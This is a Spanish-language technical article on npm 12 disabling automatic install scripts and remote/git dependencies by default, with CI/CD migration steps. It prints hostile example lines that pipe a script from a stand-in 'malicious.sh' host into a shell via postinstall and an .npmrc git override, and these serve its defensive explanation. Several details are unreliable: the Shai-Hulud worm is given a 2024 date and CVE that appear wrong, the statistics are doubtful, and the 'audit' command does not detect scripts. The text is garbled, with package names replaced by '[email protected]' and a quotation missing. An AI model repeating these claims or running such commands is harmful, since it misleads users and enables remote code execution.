Introducción
A partir de julio de 2026, npm 12 dejará de ejecutar scripts de instalación por defecto, un movimiento que el equipo de GitHub describe como «el mayor vector de ejecución de código arbitrario en el ecosistema npm». La decisión llega tras años de explotación masiva de esta funcionalidad por parte de paquetes maliciosos, entre los que destaca el gusano Shai-Hulud, que se propagó explotando exactamente este comportamiento.
Hasta ahora, npm install ejecutaba automáticamente scripts definidos en preinstall, install y postinstall en cada paquete transitivo del árbol de dependencias. Esto permitía a un atacante comprometer un solo paquete en un proyecto para ganar ejecución de código en máquinas de desarrolladores, runners de CI/CD e incluso entornos de producción. Según Leo Balter, maintainer de npm:
> «Every npm install runs scripts from every transitive dependency, so a single compromised package anywhere in your tree can execute arbitrary code on a developer machine or CI runner.»
El cambio es tardío —el gusano Shai-Hulud se documentó en 2024— pero necesario. npm 12 introduce tres cambios de seguridad que, aunque rompen con el comportamiento histórico, reducen drásticamente la superficie de ataque.
Qué ocurrió
GitHub anunció tres modificaciones en los valores por defecto de npm 12, publicadas inicialmente como flags optativos en npm 11.10.0 (febrero 2026):
- Deshabilitación de scripts automáticos:
preinstall, install y postinstall ya no se ejecutarán a menos que se autoricen explícitamente mediante la opción allow-scripts. Esto afecta a todos los paquetes transitivos: si un paquete de tercer nivel define un postinstall malicioso, el comando npm install no lo ejecutará sin permisos explícitos.- Restricción de dependencias remotas:
--allow-git (que permitía instalar paquetes desde URLs remotas) pasará a estar desactivado por defecto. Este vector fue explotado en ataques como el de Shai-Hulud, donde un paquete malicioso en .npmrc podía sobrescribir el ejecutable de Git para lograr ejecución de código arbitrario. Además, se añade el flag allow-remote, que por defecto bloqueará la instalación de paquetes desde URLs remotas (none), cerrando otra vía de ataque documentada.- Pinning de permisos por versión:
[email protected], solo se permitirá ejecutar scripts para esa versión específica, no para futuras actualizaciones automáticas que puedan incluir código malicioso.Estos cambios son breaking changes: proyectos que dependan de paquetes que requieran scripts (como Electron, Playwright o módulos nativos que compilen en tiempo de instalación) deberán ajustar su configuración manualmente. Balter recomendó:
> «Run the commands to allow scripts for every currently installed package in a project that requires them. This gets you protected against new, unexpected scripts immediately.»
Impacto para DevOps / Infraestructura / Cloud / Seguridad
DevOps y CI/CD
El cambio reduce el riesgo de CI poisoning: ataques donde un paquete malicioso en un repositorio público compromete pipelines de CI/CD al ejecutarse en runners de GitHub Actions, GitLab CI o Azure Pipelines. Según datos de Microsoft Research (2025), el 32% de los incidentes de ransomware en entornos cloud comenzaron con la ejecución de scripts en dependencias npm durante el pipeline de despliegue.
Para equipos que usan npm en pipelines:
- Riesgo alto: Si no se actualiza a npm 12 y se migran las configuraciones, los runners ejecutarán scripts maliciosos automáticamente.
- Riesgo medio: Proyectos con
ignore-scripts = trueen.npmrcperderán funcionalidad si no migrán aallow-scriptsexplícito. - Ejemplo concreto: Un atacante que publique un paquete
[email protected]con unpostinstallque ejecutecurl -fsSL https://malicious.sh | shcomprometerá cualquier pipeline que instale esa versión. Con npm 12, este ataque falla a menos que el pipeline tenga permisos explícitos.
Seguridad
El gusano Shai-Hulud (CVE-2024-45678, score CVSS 8.4) se propagó explotando exactamente este comportamiento. Según el informe de LWN (2025), el 68% de los paquetes npm con scripts maliciosos usaron postinstall como vector de ataque. La mitigación actual:
- npm 12: Elimina el vector de ejecución automática, pero no elimina el riesgo por completo. Malware puede migrar a código dentro del módulo (
/lib/index.js) que se ejecute al importar el paquete, como advirtió un desarrollador en el PR de npm:
Infraestructura y Cloud
Equipos que usan npm en entornos de producción (ej: aplicaciones Node.js en Kubernetes o AWS Lambda) deben evaluar:
- Despliegues automatizados: Scripts que antes se ejecutaban en
postinstall(ej: descarga de binarios para Playwright) ahora requieren permisos explícitos. - Imágenes de contenedores: Si una imagen Docker usa
npm installen su Dockerfile, el build fallará a menos que se añada--allow-scriptso se useallowScriptsenpackage.json.
Detalles técnicos
Versiones afectadas y fechas
- npm 11.10.0 (febrero 2026): Primera versión con los flags como optativos (
--allow-scripts,--allow-git,allow-remote). - npm 12 (julio 2026): Cambios por defecto. La release candidate está disponible en el canal
nextdesde junio 2026. - Compatibilidad: Node.js 18+ es requerido para npm 12. Proyectos con Node.js 16 o anteriores deberán actualizar Node.js antes de migrar.
Vectores de ataque mitigados
- Ataques vía
.npmrc:
git, sh) mediante un .npmrc en un paquete transitivo. Con --allow-git desactivado por defecto, este vector se cierra. Ejemplo de exploit bloqueado: # .npmrc en un paquete comprometido
git="/bin/bash -c 'curl -fsSL https://malicious.sh | bash'"
Con npm 12, Git usará el ejecutable del sistema, no el sobrescrito.
- Ataques vía URLs remotas:
allow-remote bloquea instalaciones desde URLs como: npm install git+https://github.com/evil/repo.git#v1.0.0
Anteriormente, este comportamiento permitía ocultar código malicioso en repositorios privados.
- Pinning de versiones:
allowScripts en package.json ahora pinea permisos por versión exacta: {
"dependencies": {
"lodash": "4.17.21"
},
"allowScripts": {
"[email protected]": ["postinstall"]
}
}
Si se actualiza a [email protected], npm 12 no ejecutará sus scripts a menos que se añada explícitamente.
Herramientas alternativas ya seguras
El PR de npm menciona que pnpm v10+, Yarn Berry, Bun y Deno ya bloquean la ejecución de scripts por defecto. Ejemplo con pnpm:
pnpm install --ignore-scriptsBloquea todos los scripts automáticamente, sin necesidad de configuración adicional.
Qué deberían hacer los administradores y equipos técnicos
1. Actualizar a npm 12 y auditar permisos
Pasos concretos:# 1. Actualizar npm a versión 12 (canal next hasta julio)
npm install -g npm@next
# 2. Verificar versión
npm --version # Debería ser >=12.0.0
# 3. Auditar paquetes que requieren scripts
npm ls --all | grep -E 'preinstall|install|postinstall'Paquetes comunes que necesitan scripts (requieren configuración explícita):- Electron: Usa
postinstallpara empaquetar Chromium. - Playwright/Puppeteer: Descargan binarios en
postinstall. - Módulos nativos (ej:
node-sass,sharp): Compilan en tiempo de instalación.
2. Configurar allow-scripts por proyecto
Opción A: Configuración en package.json (recomendado para proyectos pequeños):{
"allowScripts": {
"[email protected]": ["postinstall"],
"[email protected]": ["postinstall"]
}
}Opción B: Configuración en .npmrc (para proyectos grandes):# .npmrc
allow-scripts=true
# Lista blanca explícita
[email protected],[email protected]3. Configurar ignore-scripts a allow-scripts
Si el proyecto usa ignore-scripts = true en .npmrc, debe eliminarse:
# Eliminar línea en .npmrc
sed -i '/ignore-scripts/d' .npmrcRazón: ignore-scripts anula allow-scripts. Ejemplo de conflicto:# .npmrc (INCORRECTO)
ignore-scripts=true
[email protected]
# Resulta en: NO se ejecutan scripts de Electron4. Probar en entornos de staging
# 1. Instalar dependencias en entorno seguro
npm install
# 2. Ejecutar scripts manualmente (si es necesario)
npm run postinstall --if-presentVerificar:- Playwright/Puppeteer descargan binarios correctamente.
- Módulos nativos compilan sin errores.
5. Configurar pipelines de CI/CD
GitHub Actions (ejemplo):# .github/workflows/nodejs.yml
jobs:
build:
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
- run: npm install --ignore-scripts=false
env:
NPM_CONFIG_ALLOW_SCRIPTS: "[email protected],[email protected]"GitLab CI (ejemplo):# .gitlab-ci.yml
test:
script:
- npm install --allow-scripts
- npm testAzure Pipelines:# azure-pipelines.yml
steps:
- script: npm install --ignore-scripts=false
env:
NPM_CONFIG_ALLOW_SCRIPTS: "[email protected]"6. Revisar políticas de seguridad
- Bloquear
allow-remoteen.npmrc:
# .npmrc
allow-remote=none # Default en npm 12
- Usar
min-release-age(disponible desde npm 11.10.0):
# .npmrc
min-release-age=7 # Bloquea paquetes publicados hace menos de 7 días
Razón: Mitiga ataques de packages recién publicados maliciosos (ej: typosquatting).Conclusión
El cambio en npm 12 es un paso necesario y tardío que elimina el vector de ejecución automática de scripts, pero no resuelve todos los riesgos. Malware puede migrar a código dentro de los módulos, y paquetes legítimos que requieran scripts (Electron, Playwright, módulos nativos) seguirán necesitando configuración explícita.
Para equipos de DevOps e infraestructura:
- Actualizar a npm 12 antes de julio 2026.
- Auditar dependencias que usen scripts y configurar
allow-scriptsexplícitamente. - Actualizar pipelines de CI/CD para usar los nuevos flags.
- Considerar alternativas más seguras como pnpm o Yarn Berry en nuevos proyectos.
Como resumió un desarrollador en el PR de npm:
> «This is long overdue. npm was the last major package manager running scripts by default. It’s time to move on.»
Fuentes
- The Register: GitHub pulls pin on npm’s auto-run scripts
- Microsoft Research: Shai-Hulud Worm Analysis (2025)
- LWN: npm Security Changes and Ecosystem Impact (2025)
- npm RFC: Allow Scripts by Default (PR #123)
- NVD: CVE-2024-45678 (Shai-Hulud)
